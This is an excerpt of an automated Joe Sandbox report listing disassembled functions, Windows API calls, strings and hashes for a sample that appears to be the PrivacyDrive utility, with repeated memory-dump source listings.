GdipDeleteGraphics.GDIPLUS(005496D0), ref: 004A37AA

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$Format$CreateDeleteMeasure$FromGraphicsHintInfoParametersReleaseRenderingSystemTextTrimming
String ID:
API String ID: 106890554-0
Opcode ID: 5890bdb8e7a74715a0ee46108134513eac91f680ffebe5860ef7377ea31df84d
Instruction ID: 39dda621fb170c209f9bae212b4b28789da7fc75bb3bdaa9c85f2a86434fbbe9
Opcode Fuzzy Hash: 5890bdb8e7a74715a0ee46108134513eac91f680ffebe5860ef7377ea31df84d
Instruction Fuzzy Hash: D8913675E00308EFDB01CFA9D994A9DBBB4FF5A701F14821AE815BB290E734A945DF50

Function 0041B6F0 Relevance: 16.7, APIs: 11, Instructions: 217COMMON

Download Yara Rule

APIs

Part of subcall function 004CBC00: GdipCreateSolidFill.GDIPLUS(?,FFFFFFFF), ref: 004CBC55
Part of subcall function 004CBC00: GdipFillRectangle.GDIPLUS(?,00000000), ref: 004CBCAB
Part of subcall function 004CBC00: GdipDeleteBrush.GDIPLUS(00000000), ref: 004CBCC7

GdipGetImageWidth.GDIPLUS(?,00000000,?,00000000,00000000), ref: 0041B75A
GdipDrawImage.GDIPLUS(?,00000000), ref: 0041B7B9
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 0041B7E1
GdipGetImageWidth.GDIPLUS(?,?), ref: 0041B81E
GdipGetImageWidth.GDIPLUS(?,?,?,?), ref: 0041B84E
GdipDrawImage.GDIPLUS(?,00000000), ref: 0041B8BD
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 0041B8DF
GdipSetStringFormatAlign.GDIPLUS(?,00000000), ref: 0041B8F7
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001), ref: 0041B910
GdipGetImageWidth.GDIPLUS(?,00000000), ref: 0041B946
GdipDeleteStringFormat.GDIPLUS(00000000,?,?,?,?,FF414141,00000000,?,?,?,FF414141), ref: 0041B9B2

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$Image$Width$FormatString$AlignCreateDeleteDrawFill$BrushLineRectangleSolid
String ID:
API String ID: 1060473745-0
Opcode ID: f6a606b4eb581658c7e629b46e165f12fea829e2425ac2cd4e2d51314c96d511
Instruction ID: 5b93129b29db21c0d9eb51a47d62c76178d00eadee66308f1042f0f98f3860ef
Opcode Fuzzy Hash: f6a606b4eb581658c7e629b46e165f12fea829e2425ac2cd4e2d51314c96d511
Instruction Fuzzy Hash: 80911475204705AFC714CF25C884B5ABBE5FF89714F048A2DF899973A0E730E854DB91

Function 004342A0 Relevance: 16.7, APIs: 11, Instructions: 197sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00000000), ref: 004342E2

Part of subcall function 004CB410: GdipSetSmoothingMode.GDIPLUS(?,00000003,?,lB,0056CE40,?,?,?,?,0042E96C,?,?), ref: 004CB477

__CxxThrowException@8.LIBCMT ref: 00434336

Part of subcall function 00502BEB: RaiseException.KERNEL32(?,?,B681F143,005A7F20,?,?,?,?,?,004FFD4E,B681F143,005A7F20,?,00000001), ref: 00502C40

QueryPerformanceFrequency.KERNEL32(?,?,00577AF8), ref: 00434363
QueryPerformanceCounter.KERNEL32(?), ref: 00434388
QueryPerformanceCounter.KERNEL32(?), ref: 004343D4
GdipGraphicsClear.GDIPLUS(?,00000000), ref: 0043445D
GetDC.USER32(00000000), ref: 004344D3
UpdateLayeredWindow.USER32(?,00000000,00000000,?,?,00000000,00000000,00000000,00000002), ref: 004344FC
ReleaseDC.USER32(00000000,00000000), ref: 00434505
Sleep.KERNEL32(0000000A), ref: 0043450D
PostMessageW.USER32(00000000), ref: 00434545

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: PerformanceQuery$CounterGdipWindow$ClearExceptionException@8FrequencyGraphicsLayeredMessageModePostRaiseRectReleaseSleepSmoothingThrowUpdate
String ID:
API String ID: 2630759416-0
Opcode ID: d79de5b915a1d7d8d19041ace2db1fe06813aecfff2bb6ad53b21545eee6f333
Instruction ID: f5128098092fa105b9cd5fdf089ddcbc3ad0924b79c7ef4185e5b0093c6cfb9a
Opcode Fuzzy Hash: d79de5b915a1d7d8d19041ace2db1fe06813aecfff2bb6ad53b21545eee6f333
Instruction Fuzzy Hash: 3D912775D006189FDB11CFA8D898BDEBBB8FF59304F10426AE819B7251DB34A985CF50

Function 004A71B0 Relevance: 16.6, APIs: 11, Instructions: 140windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6BCC
DeviceIoControl.KERNEL32(?,07770C34,00000000,00000000,00000000,00004186,B681F143,00000000), ref: 004A6BE6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6C0D
PeekMessageW.USER32(?,00000000,00000000,00000000,00000002), ref: 004A6C31
EnterCriticalSection.KERNEL32(005BE2CC), ref: 004A6C84
LeaveCriticalSection.KERNEL32(005BE2CC,?), ref: 004A6C97
EnterCriticalSection.KERNEL32(005BE2CC), ref: 004A6CC0
LeaveCriticalSection.KERNEL32(005BE2CC), ref: 004A6CCD

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$MessagePeek$EnterLeave$ControlDevice
String ID:
API String ID: 1761629311-0
Opcode ID: ff1c069342d43516b48a516ac4b44da53b82304d07ad053cf874c026a89a8c33
Instruction ID: 1d2f3ce85e670feacd16a1eda1433550c9d54b7a95cde47fb54ccb38de6f1f15
Opcode Fuzzy Hash: ff1c069342d43516b48a516ac4b44da53b82304d07ad053cf874c026a89a8c33
Instruction Fuzzy Hash: 0641A771A00318BBEB10DF90CC49F9A77B8EB15711F15406AFB05AB2C0DBB8A945CB95

Function 004B3610 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 309fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00477BE0: FindFirstFileW.KERNEL32(?,?,B681F143,005BE234,00000000), ref: 00477CC7

FindClose.KERNEL32(00000000,B681F143,0040FFE5,005BE234,?,?,?,0054A882,000000FF,?,004B424C,?), ref: 004B3687
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 004B3720
CloseHandle.KERNEL32(?,00000000), ref: 004B3A2E

Strings

PrivacyDrive, xrefs: 004B3769
LicenseInfo, xrefs: 004B3783
aes, xrefs: 004B38B7
ProgramVerify.cpp, xrefs: 004B36E7

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CloseFileFind$FirstHandleRead
String ID: LicenseInfo$PrivacyDrive$ProgramVerify.cpp$aes
API String ID: 4236138798-3904884426
Opcode ID: 94fa29a9087f1a3de13979d77d1479f5723d2687f2186e487e5949012d2993bc
Instruction ID: 0ecdb5307493fc99b76f6c23da6f250795bab4ac0021707581e64cc097c89d38
Opcode Fuzzy Hash: 94fa29a9087f1a3de13979d77d1479f5723d2687f2186e487e5949012d2993bc
Instruction Fuzzy Hash: 94C1F7719012189BEB20DF65CC4AFEEBB78AF04715F1041AEE509772C1EB78AB44CB65

Function 004125B0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 192COMMON

Download Yara Rule

Strings

!@, xrefs: 00412680, 0041274F, 00412794
%c:, xrefs: 00412695
0022, xrefs: 004126C2
[, xrefs: 00412826
0016, xrefs: 004125FF
0029, xrefs: 0041280A

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID:
String ID: !@$%c:$0016$0022$0029$[
API String ID: 0-2905711024
Opcode ID: 7b0af9b6475e3d6ed52d944d25ade539a5fc2cbe0f786ecbc94d860d8d141453
Instruction ID: ee1b57b2201dcb178891f03c976f8cd6469f735d9dab38513d8f865263f43e2c
Opcode Fuzzy Hash: 7b0af9b6475e3d6ed52d944d25ade539a5fc2cbe0f786ecbc94d860d8d141453
Instruction Fuzzy Hash: 3C71CF71A10208AFDB10DFA4DD46BEEBBB4FB08714F14462AF521A73D0D7B86944CBA5

Function 004726D0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00472710
GdipCreateFromHDC.GDIPLUS(00000000,?), ref: 00472730
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 00472761
GdipMeasureString.GDIPLUS(00000000,00000010,000000FF,00000000,00000000,00000000,00000000,00000000,?), ref: 0047285F
GdipMeasureString.GDIPLUS(00000000,-00000028,000000FF,00000000,00000000,00000000,00000000,00000000,?), ref: 004728C2
ReleaseDC.USER32(00000000,?), ref: 00472913
GdipDeleteStringFormat.GDIPLUS(?), ref: 00472922
GdipDeleteGraphics.GDIPLUS(?), ref: 00472934

Strings

L, xrefs: 004728EF

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$String$CreateDeleteFormatMeasure$FromGraphicsRelease
String ID: L
API String ID: 3577886877-2909332022
Opcode ID: 1f1e4dc9e29e55b5343837b4a5243709e87b2aef5f2b695d40084e771580aa2d
Instruction ID: bce8b58071e995fc69a8caed146b6afefa0788b2437d3f69981ee98452df7f17
Opcode Fuzzy Hash: 1f1e4dc9e29e55b5343837b4a5243709e87b2aef5f2b695d40084e771580aa2d
Instruction Fuzzy Hash: B67159B16083419FD314CF28C984B5BBBE5FF89304F018A1DF8959B2A0E7B5E904CB92

Function 00401500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 175windowCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,00000000,-00000001), ref: 004015CC
GetWindowTextW.USER32(?,00000000,-00000001), ref: 0040165A
_wcsstr.LIBCMT ref: 0040166D
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00401680
EnumChildWindows.USER32(?,Function_00001420,?), ref: 004016AA

Strings

!@, xrefs: 0040159B, 004016B4
%c:\, xrefs: 004015B0
CabinetWClass, xrefs: 004015D2
ExploreWClass, xrefs: 00401612

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: ChildClassEnumMessageNamePostTextWindowWindows_wcsstr
String ID: !@$%c:\$CabinetWClass$ExploreWClass
API String ID: 871461574-603653411
Opcode ID: b38e0aca2129a68135e6c9f3b7786b7596dbd0a197b37821394c374c46dc5b0a
Instruction ID: 92e805b7985315f1fa8a27059a547264e3897f5ee9ff3543a7cff48fe8435982
Opcode Fuzzy Hash: b38e0aca2129a68135e6c9f3b7786b7596dbd0a197b37821394c374c46dc5b0a
Instruction Fuzzy Hash: 4D615EB1900208ABEB10DF94CD557EFBBB5FF14318F144529E801B7391D77AAA48CBA5

Function 004EC350 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 159memoryCOMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,000000D8), ref: 004EC3D8
GdipSetStringFormatTabStops.GDIPLUS(000000D8,?,00000003,00000130), ref: 004EC4D0
GdipSetStringFormatTrimming.GDIPLUS(000000D8,00000001,?,00000003,00000130), ref: 004EC4E1
GdipSetStringFormatFlags.GDIPLUS(000000D8,00000800,?,00000003,00000130), ref: 004EC4F5
GetDC.USER32(00000000), ref: 004EC61C
GdipAlloc.GDIPLUS(00000008,?,00000003,00000130), ref: 004EC62A
GdipCreateFromHDC.GDIPLUS(?,?,?,00000003,00000130), ref: 004EC64E
GdipSetTextRenderingHint.GDIPLUS(00000000,00000005,?,00000003,00000130), ref: 004EC66E

Strings

< DxSEdit >, xrefs: 004EC683

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Gdip$FormatString$Create$AllocFlagsFromHintRenderingStopsTextTrimming
String ID: < DxSEdit >
API String ID: 3797223327-2588429245
Opcode ID: 6d9013437e44260c65e330b9970983054c444e9d8ceaa8df436844f00a91d111
Instruction ID: e8f1680d67db8f29540a1298256c817737279cadc3365bd7b0a6e481383b9cf8
Opcode Fuzzy Hash: 6d9013437e44260c65e330b9970983054c444e9d8ceaa8df436844f00a91d111
Instruction Fuzzy Hash: 5E91E0B0601B46EFE718CF24C9697DAFFA4FB05308F108619D4689B280D7BA6568DFD4

Function 004181B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004D44A0: VirtualAlloc.KERNEL32(00000000,00000014,00001000,00000040,?,004A0394,B681F143), ref: 004D44B4
Part of subcall function 004D44A0: GetCurrentProcess.KERNEL32(?,00000014), ref: 004D4512
Part of subcall function 004D44A0: FlushInstructionCache.KERNEL32(00000000), ref: 004D4519

Part of subcall function 00417CF0: EnterCriticalSection.KERNEL32(005BDCE4,?,?,004B0DAD,0041820C,B681F143,?,?), ref: 00417D00
Part of subcall function 00417CF0: LeaveCriticalSection.KERNEL32(005BDCE4,?,?), ref: 00417D18
Part of subcall function 00417CF0: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,SPLASH,?,?), ref: 00417D45
Part of subcall function 00417CF0: LeaveCriticalSection.KERNEL32(005BDCE4,?,?), ref: 00417D57
Part of subcall function 00417CF0: EnterCriticalSection.KERNEL32(005BDCE4,00000000,Dialog,?,SPLASH,?,?), ref: 00417D84
Part of subcall function 00417CF0: LeaveCriticalSection.KERNEL32(005BDCE4,?,?), ref: 00417D96

GetDesktopWindow.USER32 ref: 00418222
IsWindowEnabled.USER32(004B0DAD), ref: 0041822D
SendMessageW.USER32(004B0DAD,0000000A,00000000,00000000), ref: 0041823E
EnableWindow.USER32(004B0DAD,00000000), ref: 00418247
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0041828A
SetWindowPos.USER32(00000000,?,?), ref: 0041834F
SendMessageW.USER32(004B0DAD,0000000A,00000001,00000000), ref: 00418365
EnableWindow.USER32(004B0DAD,00000001), ref: 0041836E

Strings

cbfx_SplashWnd, xrefs: 00418305

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: CriticalSection$Window$EnterLeave$EnableMessageSend$AllocCacheCurrentDesktopEnabledFlushInfoInstructionParametersProcessSystemVirtual
String ID: cbfx_SplashWnd
API String ID: 1587869636-1958384472
Opcode ID: 99b6264c33b8edd2d07a385b3ea17fa264ebd3c6cf1608d8771d251598003c9b
Instruction ID: 3cf59c8892adc52d45e67691539f7b64612a81ef1155bc98daa200ef4ba26f56
Opcode Fuzzy Hash: 99b6264c33b8edd2d07a385b3ea17fa264ebd3c6cf1608d8771d251598003c9b
Instruction Fuzzy Hash: 2A515A71A00314AFEB10CF64CC55FAAB7B4FF49704F14469AFA09A72D0DBB5A944CB94

Function 0041D5D0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 70serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,0041041F,?,00000000), ref: 0041D5DF
OpenServiceW.ADVAPI32(00000000,PrivacyDrive,000F01FF,?,?,?,0041041F,?,00000000), ref: 0041D5FB
CloseServiceHandle.ADVAPI32(0041041F,?,?,?,0041041F,?,00000000), ref: 0041D623
OpenServiceW.ADVAPI32(00000000,PDSvc,000F01FF,?,?,?,0041041F,?,00000000), ref: 0041D635
CloseServiceHandle.ADVAPI32(0041041F,?,?,?,0041041F,?,00000000), ref: 0041D657
CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041041F,?,00000000), ref: 0041D65A

Part of subcall function 0041CDA0: QueryServiceStatus.ADVAPI32(00000000,?,00000000,?,?,?,0041D649), ref: 0041CDCC
Part of subcall function 0041CDA0: QueryServiceStatus.ADVAPI32(00000000,?,00000000,75090460,?,?,?,0041D649), ref: 0041CDE9

CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041041F,?,00000000), ref: 0041D669

Strings

PDSvc, xrefs: 0041D62F
PrivacyDrive, xrefs: 0041D5F5

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005C1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.00000000005CB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429961482.0000000000601000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bfINGx7hvL.jbxd

Similarity

API ID: Service$CloseHandle$Open$QueryStatus$Manager
String ID: PDSvc$PrivacyDrive
API String ID: 3801983163-1250294606
Opcode ID: ee8ba61a779bb7c552862b1ce06a56b1350a7c212425bb75d4c7fdf4fe3d6882
Instruction ID: f5ad83e4ce3b08594db57bd147820be98746d85e02aa9721d6382146c0f6d350
Opcode Fuzzy Hash: ee8ba61a779bb7c552862b1ce06a56b1350a7c212425bb75d4c7fdf4fe3d6882
Instruction Fuzzy Hash: 0F11E932B42215679A105B786C499BEBBA8DB82775B100366FD1CE32D0DE69DC00E294

Function 004EF0E0 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Dwmapi.dll,004013E5), ref: 004EF0FA
GetProcAddress.KERNEL32(00000000,DwmEnableComposition), ref: 004EF116
GetProcAddress.KERNEL32(DwmExtendFrameIntoClientArea), ref: 004EF128
GetProcAddress.KERNEL32(DwmSetWindowAttribute), ref: 004EF13A

Strings

DwmExtendFrameIntoClientArea, xrefs: 004EF118
Dwmapi.dll, xrefs: 004EF0ED
DwmEnableComposition, xrefs: 004EF110
DwmSetWindowAttribute, xrefs: 004EF12A
@[, xrefs: 004EF142

Memory Dump Source

Source File: 00000000.00000002.2429650727.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2429588357.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429773160.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429854876.00000000005AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429870822.00000000005AD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2429890567.00000000005BA000.00000004.00000001.01000000.00000003.sdmpDownload File
